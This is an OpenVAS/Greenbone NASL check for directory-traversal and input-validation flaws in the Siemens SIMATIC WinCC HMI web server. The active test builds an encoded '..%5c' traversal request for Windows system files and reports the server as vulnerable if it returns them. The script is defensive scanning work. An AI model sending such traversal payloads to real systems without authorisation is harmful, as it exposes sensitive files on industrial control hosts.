Siemens SIMATIC WinCC HMI Web Server Multiple Input Validation Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103572");
  script_cve_id("CVE-2011-4512", "CVE-2011-4878", "CVE-2011-4879");
  script_tag(name:"cvss_base", value:"8.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:C");
  script_version("2025-04-15T05:54:49+0000");

  script_name("Siemens SIMATIC WinCC HMI Web Server Multiple Input Validation Vulnerabilities - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51836");
  script_xref(name:"URL", value:"http://www.automation.siemens.com/mcms/human-machine-interface/en/visualization-software/scada/Pages/Default.aspx");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-030-01A.pdf");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-030-01.pdf");

  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2012-09-20 11:25:41 +0200 (Thu, 20 Sep 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Siemens SIMATIC WinCC is prone to an HTTP-header-injection issue, a
  directory-traversal issue, and an arbitrary memory-read access issue because the application fails to
  properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"A remote attacker can exploit these issues to gain elevated
  privileges, obtain sensitive information, or cause denial-of-service conditions.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port(default:80);

url = "/www/start.html";

if(http_vuln_check(port:port, url:url, pattern:"Miniweb Start Page", usecache:TRUE)) {

  files = traversal_files("windows");

  foreach file (keys(files)) {

    url = "/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c" + files[file];

    if(http_vuln_check(port:port, url:url, pattern:file)) {
      report = http_report_vuln_url(port:port, url:url);
      security_message(port:port, data:report);
      exit(0);
    }
  }
  exit(99);
}

exit(0);